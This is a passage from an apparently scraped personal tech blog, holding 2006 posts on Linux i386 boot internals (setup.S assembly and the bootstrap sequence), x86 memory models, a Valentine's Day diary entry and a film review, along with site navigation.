协议的拉取，顺便可以实现路径映射。\u0026hellip;\n下一页 »\n分类 光影汇 (7) 影音坊 (36) 思考控 (66) 技术志 (845) 教育记 (2) 杂货铺 (75) 生活簿 (162) 职场录 (14) 读书吧 (15) 运动迷 (109) 驴友秀 (40) 标签 Blog Blogger C Cpp docker GC GCC github GNU Go Golang Google Gopher goroutine http Interface Java k8s Kubernetes Linux Opensource Package Programmer Python runtime Ubuntu Unix Windows 博客 容器 工作 巴萨 开源 思考 感悟 接口 摄影 标准库 梅西 泛型 生活 程序员 编译器 西甲 足球\n归档 2024 年五月 (6) 2024 年四月 (5) 2024 年三月 (1) 2024 年二月 (1) 2024 年一月 (4) 2023 年十二月 (8) 2023 年十一月 (6) 2023 年十月 (6) 2023 年九月 (5) 2023 年八月 (4) 2023 年七月 (6) 2023 年六月 (5) 2023 年五月 (6) 2023 年四月 (5) 2023 年三月 (7) 2023 年二月 (5) 2023 年一月 (3) 2022 年十二月 (4) 2022 年十一月 (5) 2022 年十月 (6) 2022 年九月 (5) 2022 年八月 (4) 2022 年七月 (5) 2022 年六月 (6) 2022 年五月 (10) 2022 年四月 (6) 2022 年三月 (11) 2022 年二月 (4) 2022 年一月 (2) 2021 年十二月 (7) 2021 年十一月 (6) 2021 年十月 (4) 2021 年九月 (5) 2021 年八月 (7) 2021 年七月 (7) 2021 年六月 (2) 2021 年五月 (2) 2021 年四月 (7) 2021 年三月 (7) 2021 年二月 (5) 2021 年一月 (4) 2020 年十二月 (11) 2020 年十一月 (9) 2020 年十月 (1) 2020 年九月 (1) 2020 年八月 (1) 2020 年七月 (1) 2020 年六月 (4) 2020 年五月 (3) 2020 年四月 (2) 2020 年三月 (6) 2020 年二月 (2) 2019 年十二月 (2) 2019 年十一月 (6) 2019 年十月 (5) 2019 年九月 (4) 2019 年八月 (5) 2019 年七月 (1) 2019 年六月 (2) 2019 年五月 (1) 2019 年四月 (4) 2019 年三月 (2) 2019 年二月 (1) 2019 年一月 (2) 2018 年十一月 (3) 2018 年十月 (1) 2018 年九月 (1) 2018 年七月 (1) 2018 年六月 (4) 2018 年五月 (2) 2018 年四月 (1) 2018 年三月 (3) 2018 年二月 (3) 2018 年一月 (7) 2017 年十二月 (5) 2017 年十一月 (4) 2017 年十月 (3) 2017 年九月 (2) 2017 年八月 (3) 2017 年七月 (4) 2017 年六月 (8) 2017 年五月 (5) 2017 年四月 (3) 2017 年三月 (2) 2017 年二月 (5) 2017 年一月 (7) 2016 年十二月 (7) 2016 年十一月 (7) 2016 年十月 (3) 2016 年九月 (2) 2016 年八月 (1) 2016 年六月 (2) 2016 年五月 (2) 2016 年四月 (2) 2016 年三月 (2) 2016 年二月 (3) 2016 年一月 (2) 2015 年十二月 (1) 2015 年十一月 (1) 2015 年十月 (1) 2015 年九月 (3) 2015 年八月 (5) 2015 年七月 (6) 2015 年六月 (4) 2015 年五月 (1) 2015 年四月 (2) 2015 年三月 (2) 2015 年一月 (2) 2014 年十二月 (5) 2014 年十一月 (8) 2014 年十月 (9) 2014 年九月 (2) 2014 年八月 (1) 2014 年七月 (1) 2014 年五月 (2) 2014 年四月 (5) 2014 年三月 (4) 2014 年二月 (1) 2014 年一月 (1) 2013 年十二月 (3) 2013 年十一月 (5) 2013 年十月 (6) 2013 年九月 (4) 2013 年八月 (5) 2013 年七月 (6) 2013 年六月 (2) 2013 年五月 (6) 2013 年四月 (3) 2013 年三月 (7) 2013 年二月 (4) 2013 年一月 (6) 2012 年十二月 (8) 2012 年十一月 (10) 2012 年十月 (5) 2012 年九月 (3) 2012 年八月 (10) 2012 年七月 (4) 2012 年六月 (2) 2012 年五月 (4) 2012 年四月 (10) 2012 年三月 (8) 2012 年二月 (6) 2012 年一月 (6) 2011 年十二月 (4) 2011 年十一月 (4) 2011 年十月 (5) 2011 年九月 (8) 2011 年八月 (7) 2011 年七月 (6) 2011 年六月 (7) 2011 年五月 (8) 2011 年四月 (6) 2011 年三月 (10) 2011 年二月 (7) 2011 年一月 (10) 2010 年十二月 (7) 2010 年十一月 (6) 2010 年十月 (7) 2010 年九月 (12) 2010 年八月 (8) 2010 年七月 (3) 2010 年六月 (5) 2010 年五月 (4) 2010 年四月 (2) 2010 年三月 (6) 2010 年二月 (4) 2010 年一月 (6) 2009 年十二月 (6) 2009 年十一月 (6) 2009 年十月 (5) 2009 年九月 (8) 2009 年八月 (8) 2009 年七月 (8) 2009 年六月 (2) 2009 年五月 (5) 2009 年四月 (7) 2009 年三月 (12) 2009 年二月 (9) 2009 年一月 (15) 2008 年十二月 (9) 2008 年十一月 (5) 2008 年十月 (10) 2008 年九月 (13) 2008 年八月 (13) 2008 年七月 (3) 2008 年六月 (1) 2008 年五月 (7) 2008 年四月 (4) 2008 年三月 (9) 2008 年二月 (11) 2008 年一月 (15) 2007 年十二月 (11) 2007 年十一月 (14) 2007 年十月 (4) 2007 年九月 (5) 2007 年八月 (1) 2007 年七月 (10) 2007 年六月 (10) 2007 年五月 (10) 2007 年四月 (8) 2007 年三月 (15) 2007 年二月 (4) 2007 年一月 (17) 2006 年十二月 (18) 2006 年十一月 (9) 2006 年十月 (11) 2006 年九月 (6) 2006 年八月 (5) 2006 年七月 (22) 2006 年六月 (35) 2006 年五月 (24) 2006 年四月 (26) 2006 年三月 (25) 2006 年二月 (18) 2006 年一月 (15) 2005 年十二月 (10) 2005 年十一月 (10) 2005 年九月 (13) 2005 年八月 (11) 2005 年七月 (6) 2005 年六月 (2) 2005 年五月 (3) 2005 年四月 (6) 2005 年三月 (1) 2005 年一月 (15) 2004 年十二月 (9) 2004 年十一月 (14) 2004 年十月 (2) 2004 年九月 (2) 链接 @douban @flickr @github @googlecode @picasa @slideshare @twitter @weibo Hoterran Lionel Messi Puras He 梦想风暴 磊磊落落的博客 过眼云烟 开源项目 buildc cbehave lcut 翻译项目 C语言编码风格和标准 《Programming in Haskell》中文翻译项目 View My Stats\n","permalink":"https://tonybai.com/2006/02/15/two-jokes/","summary":"\u003cp\u003e如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时\u003ca href=\"mailto:bigwhite.cn@aliyun.com?subject=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\u0026amp;body=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\"\u003e联系我\u003c/a\u003e。十分感谢！ \u003ca href=\"https://time.geekbang.org/column/intro/100093501?code=cQ4ugiP4uzDdDVD1T-HXXlTv9Fdl-SpdsPnSfxf0%2FuU%3Dutm_term=wangzhan\"\u003e\u003cimg alt=\"Image 1: Go语言第一课\" loading=\"lazy\" src=\"/images/wp-content/uploads/geekbang-go-basic-course-logo.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e\u003cimg alt=\"Image 2: Go语言精进之路1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol1.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e\u003cimg alt=\"Image 3: Go语言精进之路2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol2.png\"\u003e\u003c/a\u003e商务合作请联系bigwhite.cn AT aliyun.com\u003c/p\u003e\n\u003ch3 id=\"欢迎使用邮件订阅我的博客\"\u003e欢迎使用邮件订阅我的博客\u003c/h3\u003e\n\u003cp\u003e输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\u003c/p\u003e","title":"改写两则笑话"},{"content":"又是一个没有情人的情人节，不是没有情人，是情人不在。今天凌晨就把’祝福’通过现代方式给她’发送’过去了，还行也收到了’回复’ — ‘你自己一个人过吧’!，顿时这心里感觉那可以说是’相当的热乎了’，哪敢说凉亚:)\n情人节不是法定假日，所以工作一切照常，部门还是很人性化的，每人发了一盒巧克力，也算是解决了像我这样’独过情人节’的同仁们’无米下锅’的问题。工作之余大家谈资中也自然少不了’情人节’这个主题，什么花市行情、情人节如何过等等等，我也就随声附和。\n终于熬到下班了。心想自己过就自己过。怎么也不能亏待了自己，洗个热水澡，自己烧两个好菜，’自斟自饮’(白开水^_^)，也不错吗！再坐在电脑前，看上个美国大片，这回儿该看’纳尼亚传奇’了。看网上评论还不错，嗯，就看这个了。差点儿忘了还有巧克力呢，情人节咋的也得吃上一颗呀。嗯，味道儿还不错。\n以上就是我独过情人节的故事，呵呵，超级无聊吧:-)\n","permalink":"https://tonybai.com/2006/02/14/spend-valentine-day-alone/","summary":"\u003cp\u003e又是一个没有情人的情人节，不是没有情人，是情人不在。今天凌晨就把’祝福’通过现代方式给她’发送’过去了，还行也收到了’回复’ — ‘你自己一个人过吧’!，顿时这心里感觉那可以说是’相当的热乎了’，哪敢说凉亚:)\u003c/p\u003e","title":"独过情人节"},{"content":"It is time for ‘setup.S’ to show its power. The ‘setup.S’ is loaded by the bootloader and virtually it belongs to neither the ‘bootstrap’ routine nor the kernel program, although it is a portion of the kernel image. The source of the ‘setup.S’ is kinda ‘big’ and what it does can be summarized into one word: \u0026ldquo;the ‘setup.S’ is responsible to establish the environment for the execution of the kernel program\u0026rdquo;.\nSince we begin ‘setup.S’, the bootloader, which loaded the ‘setup.S into memory, has lost its meaning and the space it took up is now available. The ‘setup.S’ consists of setup header and setup body. The setup header is a part of ‘Real-mode kernel header’, which must follow some layout pattern described in ‘$(Linux-2.6.15.3_dir)/Document/i386/boot.txt’. Details as follows:\nThe ‘Real-mode kernel header’ looks like:\nOffset Proto Name Meaning\n/Size\n01F1/1 ALL(1 setup_sects The size of the setup in sectors\n01F2/2 ALL root_flags If set, the root is mounted readonly\n01F4/4 2.04+(2 syssize The size of the 32-bit code in 16-byte paras\n01F8/2 ALL ram_size DO NOT USE – for bootsect.S use only\n01FA/2 ALL vid_mode Video mode control\n01FC/2 ALL root_dev Default root device number\n01FE/2 ALL boot_flag 0xAA55 magic number\n0200/2 2.00+ jump Jump instruction\n0202/4 2.00+ header Magic signature \u0026ldquo;HdrS\u0026rdquo;\n0206/2 2.00+ version Boot protocol version supported\n0208/4 2.00+ realmode_swtch Boot loader hook (see below)\n020C/2 2.00+ start_sys The load-low segment (0×1000) (obsolete)\n020E/2 2.00+ kernel_version Pointer to kernel version string\n0210/1 2.00+ type_of_loader Boot loader identifier\n0211/1 2.00+ loadflags Boot protocol option flags\n0212/2 2.00+ setup_move_size Move to high memory size (used with hooks)\n0214/4 2.00+ code32_start Boot loader hook (see below)\n0218/4 2.00+ ramdisk_image initrd load address (set by boot loader)\n021C/4 2.00+ ramdisk_size initrd size (set by boot loader)\n0220/4 2.00+ bootsect_kludge DO NOT USE – for bootsect.S use only\n0224/2 2.01+ heap_end_ptr Free memory after setup end\n0226/2 N/A pad1 Unused\n0228/4 2.02+ cmd_line_ptr 32-bit pointer to the kernel command line\n022C/4 2.03+ initrd_addr_max Highest legal initrd address\nThe ‘Real-mode kernel header’ used to be checked by the bootloader and the setup routine. The setup won’t go well unless all the data of the header are valid. The label ‘start’ is the main entry of the ‘setup.S’, from which the setup process starts. A jump instruction will be executed first there and the ‘label’ start_of_setup, which is exactly after the ‘setup header’, is the destination of this jump. Our analysis also starts from this label. The codes in ‘setup.S’ perform some operations as follows:\n1. Check code integrity\nSince the ‘setup.S’ code may not be contiguously loaded, we have to check code integrity first.\n/*\n* ! Get the disk type – Int 13H \u0026amp; AH = 0×15\n* ! I wonder why to do so.\n*/\n# Bootlin depends on this being done early\nmovw $0×01500, %ax\nmovb $0×81, %dl\nint $0×13\n/* ! Reset the disk system - Int 13H \u0026amp; AH = 0×00 */\n#ifdef SAFE_RESET_DISK_CONTROLLER\n# Reset the disk controller.\nmovw $0×0000, %ax\nmovb $0×80, %dl\nint $0×13\n#endif\n# Set %ds = %cs, we know that SETUPSEG = %cs at this point\nmovw %cs, %ax # aka SETUPSEG\nmovw %ax, %ds\n/*\n* ! if ((setup_sig1 != SIG1) || (setup_sig2 != SIG2)) {\n* ! goto bad_sig;\n* ! }\n* ! goto good_sig1;\n*\n* ! If the image is loaded by ‘bootsect-loader’,\n* ! ‘bad_sig’ routine won’t happen, since ‘bootsect-loader’\n* ! loaded the image contiguously. */\n# Check signature at end of setup\ncmpw $SIG1, setup_sig1\njne bad_sig\ncmpw $SIG2, setup_sig2\njne bad_sig\njmp good_sig1\nHere let us have a look at how to find the rest of the setup code and data.\nbad_sig:\nmovw %cs, %ax # SETUPSEG\nsubw $DELTA_INITSEG, %ax # INITSEG\nmovw %ax, %ds\nxorb %bh, %bh\n/*\n* ! ds:[497] \u0026lt;=\u0026gt; 0×9000:[497] -\u0026gt; %bl\n* ! rest code in words \u0026lt;=\u0026gt; (%bx – 4) \u0026laquo; 8 -\u0026gt; %cx\n* ! (%bx \u0026raquo; 3) + SYSSEG -\u0026gt; start_sys_seg\n*/\nmovb (497), %bl # get setup sect from bootsect\nsubw $4, %bx # LILO loads 4 sectors of setup\nshlw $8, %bx # convert to words (1sect=2^8 words)\nmovw %bx, %cx\nshrw $3, %bx # convert to segment\naddw $SYSSEG, %bx\nmovw %bx, %cs:start_sys_seg\n# Move rest of setup code/data to here\n/*\n* ! move %ds:%si to %es:%di (%cx words) \u0026lt;=\u0026gt;\n* ! move SYSSEG:0 to cs:0800 (%cx*2 bytes)\n* ! with the instruction ‘rep’\n*/\nmovw $2048, %di # four sectors loaded by LILO\nsubw %si, %si\npushw %cs\npopw %es\nmovw $SYSSEG, %ax\nmovw %ax, %ds\nrep\nmovsw\nmovw %cs, %ax # aka SETUPSEG\nmovw %ax, %ds\ncmpw $SIG1, setup_sig1\njne no_sig\ncmpw $SIG2, setup_sig2\njne no_sig\njmp good_sig\nNow variable start_sys_seg points to where real system code starts. If \u0026ldquo;bad_sig\u0026rdquo; does not happen, start_sys_seg will remain SYSSEG as it used to be.\n2. Check bootloader type\nThe lable ‘good_sig’ used to check if loader is compatible with image.\n/*\n* ! if ((loadflags \u0026amp; LOADHIGH) \u0026amp;\u0026amp; !type_of_loader)\n* ! goto no_sig_loop\n*/\ngood_sig:\nmovw %cs, %ax # aka SETUPSEG\nsubw $DELTA_INITSEG, %ax # aka INITSEG\nmovw %ax, %ds\n# Check if an old loader tries to load a big-kernel\ntestb $LOADED_HIGH, %cs:loadflags # Do we have a big kernel?\njz loader_ok # No, no danger for old loaders.\ncmpb $0, %cs:type_of_loader # Do we have a loader that\n# can deal with us?\njnz loader_ok # Yes, continue.\npushw %cs # No, we have an old loader,\npopw %ds # die. ! %ds = %cs now\nlea loader_panic_mess, %si\ncall prtstr\njmp no_sig_loop\n3. Get memory size\nThe comments of the code told us they try three different memory detection schemes to get the extended memory size (above 1M) in KB. First, try e820h, which lets us assemble a memory map; then try e801h, which returns a 32-bit memory size; and finally 88h, which returns 0-64M.\n4. Hardware support\nSeveral hardware devices are checked and some of them are reseted here. Although the BIOS already initialized most hardware devices, Linux does not rely on it, but reinitializes the devices in its own manner to enhance portability and robustness.\n(1) Keyboard\nCall int $0×16 to set the keyboard repeat rate\nto the max.\n(2) Video adapter\nThe video() code in ‘$(Linux-2.6.15.3_dir)/arch/i386/video.S’ has done the job.\n(3) Hard disk\nThe codes here separately copy hd0 data to INIT_SEG:0080(16 bytes) and copy hd1 data to INIT_SEG:0090(16 bytes). After that it checks if hd1 exists with ‘Int 13H/AH=0×15′, which has been called once before.\n(4) Micro Channel (MCA) bus\n(5) ROM configuration table\n(6) PS/2 pointing device\n5. Advanced Power Management(APM) BIOS support\nNothing to say.\n6. Enhanced Disk Drive(EDD)\nIt is in another file ‘$(Linux-2.6.15.3_dir)/arch/i386/edd.S’. it is to build a table in RAM describing the hard disks available in the system with some proper BIOS procedure. If you are interested in it, you can go deep into these code.\n7. Prepare for protected mode\n(1) Disable interrput and close NMI\n# This is the default real mode switch routine.\n# to be called just before protected mode transition\ndefault_switch:\ncli # no interrupts allowed !\nmovb $0×80, %al # disable NMI for bootup\n# sequence\noutb %al, $0×70\nlret\n(2) Relocate the code\n/*\n* ! Do (long)code32 = code32_start, since the code32\n* ! may changed by loader.\n*/\n# we get the code32 start address and modify the below ‘jmpi’\n# (loader may have changed it)\nmovl %cs:code32_start, %eax\nmovl %eax, %cs:code32\ncode32_start is initialized to 0×1000 for zImage or 0×100000 for bzImage. This value will be used in passing control to ‘$(Linux-2.6.15.3_dir)/arch/i386/boot/compressed/head.S’.\nThe code next is to move the system to its rightful place if we detected that the loaded kernel is a zImage. If we boot up zImage, it relocates vmlinux to 0100:0; If we boot up bzImage, bvmlinux remains at start_sys_seg:0. Then it will relocate code from CS-DELTA_INITSEG:0 (bbootsect and bsetup) to INITSEG:0, if necessary (whether to be downward compatible with version \u0026lt;=201).\n8. Enable A20\nEverybody hates A20 and really nobody wants it, but it continues to haunt us. Here says nothing about it.\n9. Switch to protected mode\nFollowing ‘IA-32 Intel Architecture Software Developer’s Manual’, several operations should be done during the switching:\n(1) Prepare GDT with a null descriptor in the first GDT entry, one code and one data segment descriptor;\n(2) Disable interrupts, including maskable hardware interrupts and NMI (this has been done);\n(3) Load the base address and limit of the GDT to GDTR register, using LGDT instruction;\n(4) Set PE flag in CR0 register, using MOV CR0 (Intel386 and up) or LMSW instruction (for compatibility with Intel 286);\n(5) Immediately execute a far JMP or a far CALL instruction.\n# jump to startup_32 in arch/i386/boot/compressed/head.S\n# # NOTE: For high loaded big kernels we need a\n# jmpi 0×100000,__BOOT_CS\n# but we yet haven’t reloaded the CS register, so the default size\n# of the target offset still is 16 bit.\n# However, using an operand prefix (0×66), the CPU will properly\n# take our 48 bit far pointer. (INTeL 80386 Programmer’s Reference\n# Manual, Mixing 16-bit and 32-bit code, page 16-6)\n/*\n* ! 0xea – jmp instruction\n* !\n.byte 0×66, 0xea # prefix + jmpi-opcodeThe far jmp instruction (0xea) updates CS register. The contents of the remaining segment registers (DS, SS, ES, FS and GS) should be reloaded later. Now control is passed to ‘$(Linux-2.6.15.3_dir)/arch/i386/boot/compressed/head.S:startup_32′. For zImage, it is at address 0×1000; For bzImage, it is 0×100000.\nSupporting functions and variables exist in the tail of ‘setup.S’.\n","permalink":"https://tonybai.com/2006/02/13/begin-setup/","summary":"\u003cp\u003eIt is time for ‘setup.S’ to show its power. The ‘setup.S’ is loaded by the bootloader and virtually it belongs to neither the ‘bootstrap’ routine nor the kernel program, although it is a portion of the kernel image. The source of the ‘setup.S’ is kinda ‘big’ and what it does can be summarized into one word: \u0026ldquo;the ‘setup.S’ is responsible to establish the environment for the execution of the kernel program\u0026rdquo;.\u003c/p\u003e","title":"Begin 'setup.S'"},{"content":"霍元甲，乃一代忠师，大侠级人物，岂敢非议。这里说的是近期热播的同名电影’霍元甲’。记忆中没有看过关于’霍元甲’的作品，关于精武门的多是演绎’陈真’。这次李连杰既’精武英雄’后再次演绎’精武作品’，不过主角儿换成了’霍元甲’，值得期待值得观赏，不说别的，就冲着李连杰(我最喜欢的武打明星之一^_^)，我也不能放过这部电影。\n‘列强们的坚船巨炮轰开了中国尘封已久的国门’，这是’霍元甲’电影的开场白，轰鸣的炮声回荡在脑中，心中不由得泛起历史的波澜。影片倒叙的手法让我们首先欣赏到几场精彩的擂台打斗戏。’真枪实弹’的擂台戏是最让电影武术设计人员头疼的，擂台空空，无遮无拦，这让很多’特技手段’都力不从心。不过就我看来’霍剧’的擂台戏编排设计的还是颇为成功的，其武指袁和平应该说功不可没呀。\n看到1/3处，剧情感觉有点步入’小混混争斗’阶段，或又好似上世纪初的上海黑帮争斗，’霍元甲’带着一身黑衣打扮的徒弟，让我不能不联想到去年’功夫’中的’斧头帮’。虽说一部商业电影中’符实’成分不必太过于追究，但是这样去演绎一个英雄人物，卫冕有些’过’了。看到这我未免产生了些许失望之意，但转念又一想商业电影毕竟不是’纪录片’，继续看吧。\n看到1/2处，情节又让我联想到了李连杰早期的一部作品’张三丰’。不同的年代，相似的悲喜情节。\n结尾处’霍元甲’自然逃脱不了其真实的结局。在看台上观众的齐声呼叫中，他做到了其一介武夫的’死得其所’。\n总结一下本剧的最大看点仍限于’李连杰’的高超武术表演上，这点看来与其以往的作品想比并没有什么创新。本剧在画面质量上唯一让我眼前一亮的是月慈居住的那个少数民族场所，那简直就是个’世外桃源’，一切都是那么的静谧，对，就是那种’出淤泥而不染’的境界，相信很多观众在这点儿上都会与我有共鸣。从电影中还可以证明一点：那就是武德武品才是中华武术之精粹所在，我想这也是电影想表达的主题之一。最后我想以影片中精武体操会的精神共勉: ‘精武体操会, 崇尚三育：育体、育智、育德。武术乃育体修身之法。无分门派，以交流互进为其精髓。体格健壮，智德兼备。国民方能振兴志强。不得以我之拳加于同胞之身，不得滥用武术歧洋排外。仁义为本，自强不息’。\n","permalink":"https://tonybai.com/2006/02/12/thoughts-on-huoyuanjia/","summary":"\u003cp\u003e霍元甲，乃一代忠师，大侠级人物，岂敢非议。这里说的是近期热播的同名电影’霍元甲’。记忆中没有看过关于’霍元甲’的作品，关于精武门的多是演绎’陈真’。这次李连杰既’精武英雄’后再次演绎’精武作品’，不过主角儿换成了’霍元甲’，值得期待值得观赏，不说别的，就冲着李连杰(我最喜欢的武打明星之一^_^)，我也不能放过这部电影。\u003c/p\u003e","title":"小议'霍元甲'"},{"content":"The term ‘Bootstrap’, which originally refers to a person who tries to stand up by pulling his own boots, refers to a subroutine used to establish the full routine(its own left part, i think) or another routine in computer science. Today modern computers act as a vital role in our daily life and many of you may wonder what happens to the computer when you have it powered on. The ‘Bootstrap’, which is also called ‘boot’ for short, is the first step to be done by the computer. The process of ‘Bootstrap’, which starts on when the computer is powered on and usu ends off when the kernel of the operating system begins to run, is just what we are gonna describe.\nAs a matter of convenience, we are gonna try to understand the ‘Bootstrap’ process of linux operating system on platforms compatible with ‘i386′, since linux is source-opened and its source is absolutely free. We can boot linux from any bootable devices, such as hard disk, floopy, or cd-rom. We choose to boot from a hard disk which is more complex than the other two. Now we suppose a linux-installed computer is in front of us. Press the power button and we will go to the ‘Bootstrap’ process.\nThe normal ‘Bootstrap’ flow can be described as following:\n[Hardware initialization] -\u0026gt; [BIOS routine] -\u0026gt; [Bootloader run] -\u0026gt; End (Kernel startup) 1. Hardware initialization\nImmediately after the power-up or an assertion of the RESET# pin, the processor performs a hardware initialization and an optional built-in self-test(BIST for short). The hardware initialization sets the processor’s registers to a known state and places the processor in real-address operating mode which we have mentioned in \u0026ldquo;Inside the ‘i386′\u0026rdquo;. The process state after power-up or reset is vatal, since it decides the address of the code from which the processor is going to execute. Here lists the initial states of some registers:\n(1) R[EAX] = R[EBX] = R[ECX] = R[ESI] = R[EDI] = R[ESP] = R[EBP] = 0×00000000 (Note: If the value in the EAX register does not equal to 0H after the BIST, it indicates that a processor fault was detected.)\n(2) the EDX register contains component identification and revision information and different values indicate the various members of these Intel Architecture families.\n(3) R[CS] = 0xF000 (Note: In its hidden part, ‘Base’ = 0xFFFF0000, Limit = 0xFFFF, AR = Present, R/W, Accessed.)\n(4) R[DS] = R[ES] = R[FS] = R[GS] = R[SS] = 0×0000 (Note: In their hidden parts, ‘Base’ = 0×00000000, Limit = 0xFFFF, AR = Present, R/W, Accessed.)\n(5) R[EFLAGS] = 0×00000002 (Note: The 10 most-significant bits of this register are undefined following a reset. Software should not depend on the states of any of these bits.)\n(6) R[EIP] = 0x0000FFF0\nAfter the hardware initialization, The first instruction that is fetched and executed is located at physical address 0xFFFFFFF0. The BIOS EPROM containing the software initialization code must be located at this address, otherwise the processor can not locate and fetch its first instruction. Here we know that the processor is using ‘Read-Address mode model’, since it is in ‘real-address’ operating mode. but the address 0xFFFFFFF0 is beyond the 1-MByte addressable range of the processor while in real-address mode. How is the processor initialized to this starting address? As mentioned in \u0026ldquo;Inside the ‘i386′\u0026rdquo;, the CS register has two parts: the visible segment selector part and the hidden base address part. In real-address mode, the base address is normally formed by shifting the 16-bit segment selector value 4 bits to the left to produce a 20-bit base address according to the normal rule. However, during the hardware initialization, the normal rule doesn’t be followd. the segment selector in the CS register is loaded with 0xF000 and the base address is loaded with 0xFFFF0000. The starting address is thus formed by adding the base address to the value in the EIP register (that is, 0xFFFF0000 + 0xFFF0 = 0xFFFFFFF0). The first time the CS register is loaded with a new value after the hardware initialization, the processor will follow the normal rule for address translation in real-address mode (that is, [CS base address = CS segment selector * 16]). To insure that the base address in the CS register remains unchanged until the EPROM based software initialization code is completed, the code must not contain a far jump or far call or allow an interrupt to occur (which would cause the CS selector value to be changed).\n2. BIOS routine (software initialization)\nHere, the hardware initialization of the processor is over and the first instruction, which is also the first one of BIOS routine, is executed. From now on, the BIOS routine, which is the very first program run by the processor takes control and begins to run. ‘BIOS’(Basic Input/Output System) is the software embedded on a chip (usu EPROM) located on the computer’s main board and it is also called ‘firmware’.\nThe BIOS routine also uses ‘Real-Address’ mode model and performs the following operations:\n[Power-on self-test] -\u0026gt; [Hardware devices initialization] -\u0026gt; [Load boot sector] -\u0026gt; End (the loaded sector takes control) (1) Power-on self-test (POST)\nThe BIOS routine executes a series of tests to establish which devices are present and whether they are working properly. It also initializes the standard devices, such as the memory controller, video controller, IDE controller and floppy controller. Using stored parameters, it initializes the motherboard chipset, and sets timing parameters. It also creates an interrupt vector table and provides a set of services, accessible through interrupts, that allow access to the standard I/O devices. During this phase we may get some messages displayed on the screen, such as the BIOS version banner or etc.\n(2) Hardware devices initialization\nIn this phase, the BIOS routine guarantees that all hardware devices operate without conflicts on the IRQ lines and I/O ports and a table of installed PCI devices will be displayed on the screen.\n(3) Load boot sector\nAfter the ‘POST’ and the initialization of hardware devices, the BIOS routine call ‘Int19H’ service routine to search for the valid boot sector, which has the signature ’0x55AA’ in its last two bytes. As soon as a valid sector is found, the BIOS routine continues to call ‘Int13H’ service routine to load the valid sector to the address ’0x00007C00′, and then jumps into this address and executes the code just loaded.\n3. Bootloader run\nThe valid sector loaded from hard disk by BIOS routine is usu called ‘Master Boot Sector’, which consists of ‘Master Boot Record(MBR)’, ‘Disk Partition Table(DPT)’ and ‘Boot Record ID(0x55AA)’. Usu the MBR stores a small program which used to load the first sector of the partition containing the operating system to be started. Today a two-stage boot loader such as LILO, GRUB is required to boot a Linux kernel from disk. These bootloaders may be installed either on the MBR (replacing that small program that loads the boot sector of the active partition) or in the boot sector of every disk partition. Whatever, the final result is the same. These bootloaders usu are broken into two parts, since they are too large to fit into one single sector, which size is 512 bytes. The MBR or the p\nartition boot sector contains the first part of one of these bootloaders, which is loaded into memory from address 0x00007C00 by the BIOS routine. Then the first part program moves itself to another special address (it is 0x0009A000 for LILO), loads the second part of the bootloader into memory and jumps to execute the just loaded code. the second part of bootloader offers user a chance to choose from a list of bootable operating systems from disk. After the user has chosen the kernel to be loaded, the boot loader may either copy the boot sector of the corresponding partition into memory (the user has chosen the kernel in other partition) and execute it or directly copy the kernel image into memory (the user has chosen linux kernel in current partition). If the linux kernel is gonna loaded, the bootloader calls a BIOS routine to load the first 512 bytes of the kernel image to the address 0×00090000 , load the code of ‘setup.S’ to the address 0×00090200 and load the rest of the kernel image to either low address 0×00010000 (for small kernel images compiled with make zImage) or high address 0×00100000 (for big kernel images compiled with make bzImage). At last the bootloader jumps to execute the ‘setup.S’ code.\nHere, the ‘Bootstrap’ process has come to a conclusion.\n","permalink":"https://tonybai.com/2006/02/11/goto-bootstrap/","summary":"\u003cp\u003eThe term ‘Bootstrap’, which originally refers to a person who tries to stand up by pulling his own boots, refers to a subroutine used to establish the full routine(its own left part, i think) or another routine in computer science. Today modern computers act as a vital role in our daily life and many of you may wonder what happens to the computer when you have it powered on. The ‘Bootstrap’, which is also called ‘boot’ for short, is the first step to be done by the computer. The process of ‘Bootstrap’, which starts on when the computer is powered on and usu ends off when the kernel of the operating system begins to run, is just what we are gonna describe.\u003c/p\u003e","title":"Goto 'Bootstrap'"},{"content":"The term ‘i386′ in the title does not refer to the real Intel 80386 processor but the representative of Intel 32-bit architecture(IA32). I prefer ‘i386′ rather than ‘IA32′ just like what the linux kernel does, since you can find ‘i386′ folder in $(linux-2.6.x_dir)/arch directory. This artical describes some basic knowledge of ‘i386′, which may be kinda useful to those guys who wanna do research on or develop operating system.\nWe know that the ‘i386′ processors are the most widely used and supported today, And even the linux was born on it. As a researcher or a developer, we wonder what the ‘i386′ processor offers to us. In brief ‘i386′ offers us an execution environment which consists of a set of registers and several mechanisms of accessing memory. Today the Intel mainstream processors, such as Pentium series, are almost based on 80386 processor which first introduced 32-bit registers and paging into ‘i386′. let us have a look at the resources supplied by the ‘i386′ processor. A part of the contents below are quoted from the book \u0026ldquo;Intel Architecture Software Developer’s Manual, Volume 1, Basic Architecture\u0026rdquo;.\n1. Memory accessing\nAny operating system or executive designed to work with an ‘i386′ processor will use the processor’s memory management facilities to access memory. So far ‘i386′ processors support three memory-accessing model. Once using the processor’s memory management facilities, programs do not directly address physical memory. Instead, they access memory using any of these three memory models: flat, segmented, or real-address mode. With the flat memory model, memory appears to a program as a single, continuous address space, which is byte addressable and is called ‘linear address space’. it covers contiguously from 0 to (4G -1). When using this model, code (a program’s instructions), data, and the procedure stacks are all contained in this address space. With the segmented memory model, memory appears to a program as a group of independent address spaces called segments. When using this model, code, data, and stacks are typically contained in separate segments. To address a byte in a segment, a program must issue a logical address, which consists of a segment selector and an offset. Internally, the processor translates each logical address into a linear address to access a memory location and this translation is transparent to the application program. With either the flat or segmented model, the ‘i386′ processor provides facilities for dividing the linear address space into pages and mapping the pages into virtual memory. If an operating system/executive uses the ‘i386′ processor’s paging mechanism, the existence of the pages is transparent to an application program. we can also do a summary with an image as follows:\nLogical Address(segmented 